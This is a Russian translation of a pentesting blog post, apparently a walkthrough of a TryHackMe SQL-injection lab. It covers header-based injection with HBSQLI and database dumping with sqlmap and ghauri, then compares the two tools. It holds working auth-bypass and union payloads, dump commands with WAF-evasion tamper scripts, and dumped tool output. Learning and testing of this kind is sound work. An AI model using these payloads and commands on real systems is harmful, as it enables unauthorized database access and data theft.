August 23

Автоматизация SQL-инъекций [Complete web app pentesting series #8]

Введение

Веб-приложение становится уязвимым для атак с использованием SQL-инъекций, когда злоумышленники выполняют злонамеренные манипуляции с выполняемыми им SQL-запросами. Неправильная проверка входных данных и очистка создают уязвимости, с помощью которых злоумышленники получают доступ. Злоумышленники могут использовать эту уязвимость для:

Злоумышленник может извлечь конфиденциальное содержимое базы данных с помощью этой уязвимости. С помощью этой уязвимости, в случае успешного выполнения, злоумышленник может выполнить следующие действия:

  • Изменение или удаление записей: Успешное нарушение административных операций базы данных позволяет злоумышленникам выполнять административные задачи в базе данных.
  • Механизмы обхода аутентификации

Типы SQL-инъекций

  1. In-band SQL Injection: Злоумышленники осуществляют как начало атаки, так и получение результатов с помощью одного метода связи (на основе ошибок или на основе объединения).
  2. Blind SQL Injection: Злоумышленники извлекают невидимые результаты запросов, но интерпретируют информацию через поведенческие паттерны приложения (такие как булевы индикаторы)..
  3. Out-of-band SQL Injection: Передача данных осуществляется по отдельным каналам, поскольку злоумышленник осуществляет связь посредством HTTP-запросов.

Автоматизация SQL-инъекций на основе заголовков с помощью HBSQLI

Наличие такого инструмента, как HBSQLI, упрощает тестирование уязвимостей SQL-инъекции на основе заголовков (HBSQLI) вручную. Это потрясающий автоматизированный инструмент командной строки, который как никогда раньше решит проблему обнаружения уязвимостей на основе слепых Sql-инъекций на основе заголовков.

Почему HBSQLI?

HBSQLI автоматизирует задачу тестирования HTTP-заголовков на наличие точек внедрения, создавая гораздо более простой процесс с меньшим количеством ручной работы и более точный, чем раньше. Он поддерживает тестирование более 1 URL-адресов, которые можно настроить с помощью полезных нагрузок и заголовков. Кроме того, он предлагает два режима:

  • Verbose mode: пошагово отображает весь процесс тестирования.
  • Non-verbose mode: он выводит только уязвимые URL-адреса в качестве более чистого вывода.

Для тестирования вы можете указать либо один URL-адрес, либо список URL-адресов:

Пример с одним URL-адресом :

python3 hbsqli.py -u "https://target.com" -p payloads.txt -H headers.txt -v

Пример списка URL-адресов :

python3 hbsqli.py -l urls.txt -p payloads.txt -H headers.txt -v

Как использовать инструменты автоматизации для использования SQL-инъекции?

Мы можем теоретически объяснить все командные флаги, которые sqlmap или ghauri инструмент используется, но это не является целью данного блога. Вы всегда можете прочитать об использовании инструмента в блогах, wiki и репозитории github. Лучший способ научиться чему-либо, по моему скромному мнению, - это научиться этому практически, немного потрудившись, поэтому давайте воспользуемся автоматизированным инструментом, чтобы попытаться решить эту лабораторную работу.

Прежде чем мы начнем, если вы впервые изучаете и используете такие инструменты, как sqlmap, я настоятельно рекомендую быть знакомым и чувствовать себя комфортно при использовании burp suite requests и переходят в sqlmap. Хотя это звучит сложно, на самом деле это простой процесс, и научиться ему можно с помощью демонстрации, а поскольку читать и следовать ему сложно, лучше всего подойдет видеоурок. Не стесняйтесь посмотреть следующее видео.

Флаг 1:

Первая проблема, с которой мы сталкиваемся, - страница входа в систему. Наша первая идея - использовать полезную нагрузку sql auth в обход. Давайте разберемся и найдем любую из допустимых полезных нагрузок. Вот некоторые из полезных нагрузок, которые работают:

' or 1=1 limit 1 -- -+
admin' or 1=1;-- -

В sqlmap эквивалентом этой команды и этого процесса было бы что-то вроде следующего:

sqlmap -u http://10.10.X.X/login --method=POST --data=username=admin&password=admin -p username,password --risk=3 --level=3 --random-age

Теперь здесь, в приведенной выше команде, мы указываем целевой URL с помощью -u и затем мы явно указываем тип запроса, который использует форма входа в систему, а именно POST. Теперь мы проходим мимо POST параметры в --data флаг, который является username и password. Согласно заявлению Google, мы осторожно повышаем уровень риска, и вам, возможно, захочется перепроверить и пересмотреть, прежде чем использовать это в реальных взаимодействиях.

The higher the value, the greater the number of payloads injected by sqlmap, but also the greater the risk. Depending on the location of the injection in the original SQL query, **increasing the risk can lead to unwanted data modifications**. By default, this value is set to 1.

Флаг 2:

Теперь о втором флаге, который нас просят проверить и посетить terms and conditions страница эта страница на первый взгляд выглядит так, как показано ниже. Здесь мы видим, что на этой веб-странице регистрируется наш IP.

Поиск в Google с такими терминами, как log IP address мы не находим ничего полезного, поэтому копаем немного глубже и используем такие поисковые запросы, как logging IP address of website и это требует от нас заполнения совершенно разных тем. Теперь, если мы загуглим с помощью этого поискового запроса под названием logging client IP мы видим статью stackoverflow, в которой говорится о X FORWARDED-FOR, и, возможно, это поможет в решении этой задачи.

HTTP-запросы используют заголовки для передачи информации об IP-адресе клиента в настройках, использующих прокси-серверы или балансировщики нагрузки. Вот несколько хороших примеров:

  • X-Forwarded-For: Этот заголовок показывает первый IP запрашивающего клиента, когда между ним и веб-сайтом существуют прокси.
  • X-Originating-IP: то же, что X-Forwarded-For, хотя иногда почтовые серверы реализуют его для отслеживания исходных IP-адресов отправителей.
  • X-Remote-IP: Метод ведения журнала показывает IP-адрес клиента, который отображается на промежуточном сервере.
  • X-Remote-Addr: Этот протокол ведения журнала на промежуточном сервере обеспечивает запись адреса удаленного клиента во время связи.
  • X-Forwarded-Host: Этот заголовок сохраняет неизмененный Host значение каждого запроса, который администрируют прокси.

Информация о заголовках остается достоверной на основе проверки на стороне сервера, поскольку злоумышленники могут изменять эти заголовки. Теперь давайте запустим наш набор sqlmap и burp, чтобы получить наш второй флаг.

Мы можем использовать классический инструмент под названием sqlmap и в этом блоге мы расскажем, как мы можем использовать ghauri как хорошо. Так что приготовься ghauri инструмент потрясающий, он немного быстрее, чем sqlmap и его обработка полезной нагрузки - это круто. Вы можете проверить этот инструмент по этой ссылке, и да, шаги по установке приведены в этой ссылке.

Команда SQLMAP:

sqlmap -u "http://10.10.46.168/terms-and-conditions" --headers="X-forwarded-for:1*" --level=5 --dbms=mysql --threads 10 --dump-all

Команда Ghauri:

/home/mccleod via  via  v5.30.0 via  via  v3.8.10 via ⍱ took 2s    
❯ ghauri -u "http://10.10.46.168/terms-and-conditions" --headers="X-forwarded-for:1*" --level=5 --dbms=mysql --threads 10 --dump  
  
  
 ________.__                        .__  {1.3.1}  
/  _____/|  |__ _____   __ _________|__|  
/   \  ___|  |  \\__  \ |  |  \_  __ \  |  
\    \_\  \   Y  \/ __ \|  |  /|  | \/  |  
\______  /___|  (____  /____/ |__|  |__|  
       \/     \/     \/         https://github.com/r0oth3x49  
                                An advanced SQL injection detection & exploitation tool.  
    
  
  

Флаг 3:

Флаг 3 - личный фаворит. Это научило и напомнило мне одну из основных вещей в пентестировании веб-приложений, которая заключается в изучении каждой отдельной опции и функции веб-приложения, и мы никогда не знаем, какая функция может быть уязвимой, а какая может выдать нам действительную ошибку. При регистрации пользователя мы видим, что он проверяет, существует ли пользователь уже или нет.

Это выглядит действительно интересно, почему бы нам не посмотреть, как это выглядит в burpsuite и что происходит в фоновом режиме. Мы запускаем burp suite и видим, что он приводит нас к новой конечной точке.

Это выглядит очень интересно, вы можете либо сохранить этот запрос в текстовый файл, а затем передать его через ghauri или sqlmap. Поскольку это GET запрос, мы можем передать напрямую через -u параметр. Теперь, поскольку база данных для предыдущей задачи была sqhell_2 давайте укажем базу данных для этой ситуации, чтобы нам не пришлось долго ждать получения нашего флага, и в нашем случае флаг с правильной базой данных выглядит следующим образом -D sqhell_3.Это выглядит очень интересно, вы можете либо сохранить этот запрос в текстовый файл, а затем передать его через ghauri или sqlmap. Поскольку это GET запрос, мы можем передать напрямую через -u параметр. Теперь, поскольку база данных для предыдущей задачи была sqhell_2 давайте укажем базу данных для этой ситуации, чтобы нам не пришлось долго ждать получения нашего флага, и в нашем случае флаг с правильной базой данных выглядит следующим образом -D sqhell_3.

  via  v5.30.0 via  via  v3.8.10 via ⍱ took 1m12s    
❯ ghauri -r username.req --level=5 --dbms=mysql --threads 10 --dump -D sqhell_3  
  
  
 ________.__                        .__  {1.3.1}  
/  _____/|  |__ _____   __ _________|__|  
/   \  ___|  |  \\__  \ |  |  \_  __ \  |  
\    \_\  \   Y  \/ __ \|  |  /|  | \/  |  
\______  /___|  (____  /____/ |__|  |__|  
       \/     \/     \/         https://github.com/r0oth3x49  
                                An advanced SQL injection detection & exploitation tool.  
    
  
  
[20:37:26] [INFO] retrieved: 1    
[20:37:42] [INFO] retrieved: THM{FLAG3:97AEB3B28A4864416718F3A5FAF8F308}    
[20:37:46] [INFO] retrieved: 1    
Database: sqhell_3  
Table: flag  
[1 entries]  
+---------------------------------------------+----+  
| flag                                        | id |  
+---------------------------------------------+----+  
| THM{FLAG3:97AEB3B28A4864416718F3A5FAF8F308} | 1  |  
+---------------------------------------------+----+  
[20:37:46] [INFO] table 'sqhell_3.flag' dumped to CSV file '/home/mccleod/.ghauri/10.10.46.168/dump/sqhell_3/flag.csv'  
  
[20:37:46] [INFO] fetched data logged to text files under '/home/mccleod/.ghauri/10.10.46.168'  
  
[*] ending @ 20:37:46 /2025-01-26/

Флаг 4:

Для этого мы нашли конечную точку под названием /user который принимает id параметр. Мы пытались использовать sqlmap и каждый сценарий несанкционированного доступа, который может быть выполнен против mysql база данных, но это не сработало.

er?id=1*' --level=5 --dbms=mysql --threads 10 --dump -D sqhell_4 --random-agent --tamper=between,bluecoat,charencod  
e,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multip  
lespaces,percentage,randomcase,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versi  
onedkeywords,versionedmorekeywords,xforwardedfor -T users  
       ___  
      __H__  
___ ___[,]_____ ___ ___  {1.8.4#stable}  
|_ -| . [']     | .'| . |  
|___|_  ["]_|_|_|__,|  _|  
     |_|V...       |_|   https://sqlmap.org  
  
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all ap  
plicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program  

Теперь я бы, конечно, порекомендовал прочитать больше скриптов несанкционированного доступа, которые могут быть полезны при обходе любых брандмауэров веб-приложений. Я получал, что база данных вызывается sqhell_4 был пуст, так что нам не повезло, и обоим ghauri и sqlmapв результате появилось то же сообщение.

Когда ничего не осталось, мы выполняем операцию вручную sql injection но на этот раз мы используем order by полезная нагрузка для определения количества столбцов, и если мы получим ошибку, то количество столбцов в базе данных равно 4.

order by 5;

Иногда в реальном мире автоматизация может дать сбой, или мы можем не знать, как их использовать в данной конкретной ситуации, следовательно, мы должны принять горькую правду о том, что знания того, как использовать инструменты, недостаточно, а инструменты не являются серебряной пулей, гарантирующей использование sql injection

Теперь мы используем следующие вложенные sql injection payload чтобы получить флаг.

union all select "1 union select 1,flag,3,4 from flag-- -",1,2 from users#

Флаг 5:

Для пятого флага, несмотря на запущенный ghauri дважды я не мог получить полный флаг из базы данных. Ghauri не дал положительных результатов, вот используемая команда.

ghauri -u 'http://10.10.46.168/post?id=1*' --level=5 --dbms=mysql --threads 10 --dump -D sqhell_5 --batch

Но с sqlmap Я получил флаг мгновенно. Не стесняйтесь использовать --batch вариант в обоих случаях sqlmap и в ghauri так что каждый раз вам не придется manually введите "да" или "нет" для каждого вопроса, который вам задает инструмент. Используйте этот параметр осторожно.

/home/mccleod via  via  v5.30.0 via  via  v3.8.10 via ⍱    
❯ sqlmap -u 'http://10.10.46.168/post?id=1*' --level=5 --dbms=mysql --threads 10 --dump -D sqhell_5 --batch  
       ___  
      __H__  
___ ___["]_____ ___ ___  {1.8.4#stable}  
|_ -| . [(]     | .'| . |  
|___|_  [.]_|_|_|__,|  _|  
     |_|V...       |_|   https://sqlmap.org  
  
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all ap  
plicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program  
  
[*] starting @ 20:55:37 /2025-01-26/  
  

Сравнение ключевых характеристик

При сравнении Ghauri и SQLMap как инструментов для обнаружения и использования SQL-инъекций несколько особенностей подчеркивают, почему Ghauri может считаться лучшим в определенных контекстах, особенно для автоматизации.

Почему Ghauri может быть лучше для автоматизации SQLMap

Использование Ghauri представляется более выгодным по сравнению с автоматизацией SQLMap в первую очередь из-за его повышенной скорости.

  1. Скорость и эффективность: Независимые исследования показывают, что Ghauri удается выявлять уязвимости быстрее, чем SQLMap работает в конкретных средах тестирования. Эффективность Ghauri в обнаружении эксплойтов превышает ограничения SQLMap, особенно когда SQLMap выходит из строя, как показано в представленных демонстрациях.
  2. Управление пользовательскими агентами: Ghauri обеспечивает автоматическое управление строками пользовательских агентов в качестве жизненно важного компонента для защиты от брандмауэров веб-приложений (WAF). SQLMap требует, чтобы пользователи определяли свой собственный случайный пользовательский агент, поскольку WAF-системы, такие как CloudFlare, могут обнаруживать и блокировать их.
  3. Универсальная поддержка внедрения: Более широкая совместимость Ghauri с типами внедрения благодаря поддержке JSON и данных в виде составных форм обеспечивает лучшую применимость в различных структурах веб-приложений, чем SQLMap, который в первую очередь нацелен на запросы GET и POST.
  4. Обработка сеанса: Благодаря улучшенной обработке сеанса Ghauri позволяет пользователям очищать сеансы и восстанавливать ранее установленные соединения. Система помогает тестировщикам сократить продолжительность тестирования при выполнении длительных оценок.
  5. Ложноположительные результаты: Судя по отзывам пользователей, Ghaury демонстрирует лучшую производительность, показывая меньше ошибочных результатов, чем инструмент SQLMap. Надежность поддерживает процедуру тестирования, поскольку снижены требования к тщательной проверке результатов.

Оригинальная статья | Перевод: THREAD